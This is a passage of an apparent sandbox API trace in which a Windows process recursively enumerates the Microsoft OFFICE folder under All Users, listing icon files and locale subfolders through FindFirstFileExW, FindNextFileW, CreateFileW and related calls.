cFileName="Downloader", cAlternateFileName="")) returned 0 [0091.481] GetLastError () returned 0x12 [0091.482] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faec0) returned 1 [0091.482] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.482] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.482] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.482] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE", cAlternateFileName="")) returned 1 [0091.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.482] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE" (normalized: "c:\\users\\all users\\microsoft\\office"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.483] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE" (normalized: "c:\\users\\all users\\microsoft\\office"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0091.483] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0091.483] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.483] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0091.484] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.484] NtClose (Handle=0x170) returned 0x0 [0091.484] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faec0 [0091.485] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0091.486] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.486] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5011dd00, ftCreationTime.dwHighDateTime=0x1ca04ff, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5011dd00, ftLastWriteTime.dwHighDateTime=0x1ca04ff, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetLibrary.ico", cAlternateFileName="")) returned 1 [0091.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.487] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.487] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6c18 [0091.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.488] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.488] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabeeea00, ftCreationTime.dwHighDateTime=0x1c63848, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xabeeea00, ftLastWriteTime.dwHighDateTime=0x1c63848, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentRepository.ico", cAlternateFileName="")) returned 1 [0091.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6c38 [0091.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.490] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.490] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfbd800, ftCreationTime.dwHighDateTime=0x1c9facb, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bfbd800, ftLastWriteTime.dwHighDateTime=0x1c9facb, nFileSizeHigh=0x0, nFileSizeLow=0x5532e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MySharePoints.ico", cAlternateFileName="")) returned 1 [0091.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6c58 [0091.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb1f0 [0091.492] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.492] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc92d1d00, ftCreationTime.dwHighDateTime=0x1c627a2, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc92d1d00, ftLastWriteTime.dwHighDateTime=0x1c627a2, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MySite.ico", cAlternateFileName="")) returned 1 [0091.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6c78 [0091.494] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb388 [0091.494] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.494] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2444900, ftCreationTime.dwHighDateTime=0x1c63848, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2444900, ftLastWriteTime.dwHighDateTime=0x1c63848, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointPortalSite.ico", cAlternateFileName="")) returned 1 [0091.494] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.495] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.495] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6c98 [0091.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb410 [0091.496] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.496] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad743900, ftCreationTime.dwHighDateTime=0x1c62706, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad743900, ftLastWriteTime.dwHighDateTime=0x1c62706, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointTeamSite.ico", cAlternateFileName="")) returned 1 [0091.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.497] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.497] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.497] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6cb8 [0091.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb520 [0091.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9a00) returned 0x135c9e8 [0091.498] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UICaptions", cAlternateFileName="")) returned 1 [0091.498] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UICaptions", cAlternateFileName="")) returned 0 [0091.498] GetLastError () returned 0x12 [0091.498] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9180 [0091.499] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.499] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.499] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5011dd00, ftCreationTime.dwHighDateTime=0x1ca04ff, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5011dd00, ftLastWriteTime.dwHighDateTime=0x1ca04ff, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetLibrary.ico", cAlternateFileName="")) returned 1 [0091.499] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabeeea00, ftCreationTime.dwHighDateTime=0x1c63848, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xabeeea00, ftLastWriteTime.dwHighDateTime=0x1c63848, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentRepository.ico", cAlternateFileName="")) returned 1 [0091.499] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfbd800, ftCreationTime.dwHighDateTime=0x1c9facb, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bfbd800, ftLastWriteTime.dwHighDateTime=0x1c9facb, nFileSizeHigh=0x0, nFileSizeLow=0x5532e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MySharePoints.ico", cAlternateFileName="")) returned 1 [0091.499] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc92d1d00, ftCreationTime.dwHighDateTime=0x1c627a2, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc92d1d00, ftLastWriteTime.dwHighDateTime=0x1c627a2, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MySite.ico", cAlternateFileName="")) returned 1 [0091.499] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf2444900, ftCreationTime.dwHighDateTime=0x1c63848, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2444900, ftLastWriteTime.dwHighDateTime=0x1c63848, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointPortalSite.ico", cAlternateFileName="")) returned 1 [0091.499] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad743900, ftCreationTime.dwHighDateTime=0x1c62706, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad743900, ftLastWriteTime.dwHighDateTime=0x1c62706, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharePointTeamSite.ico", cAlternateFileName="")) returned 1 [0091.499] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UICaptions", cAlternateFileName="")) returned 1 [0091.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.499] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.500] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0091.500] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.501] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.501] NtClose (Handle=0x170) returned 0x0 [0091.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb5a8 [0091.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb630 [0091.502] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0091.502] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.502] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0091.502] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0091.502] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 0 [0091.502] GetLastError () returned 0x12 [0091.502] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0091.502] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.502] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.503] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0091.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb6b8 [0091.503] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.503] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0091.503] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0091.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.504] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0091.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.504] NtClose (Handle=0x170) returned 0x0 [0091.504] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb6b8) returned 1 [0091.504] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb6b8 [0091.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb740 [0091.505] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb7c8 [0091.505] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9140 [0091.507] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, 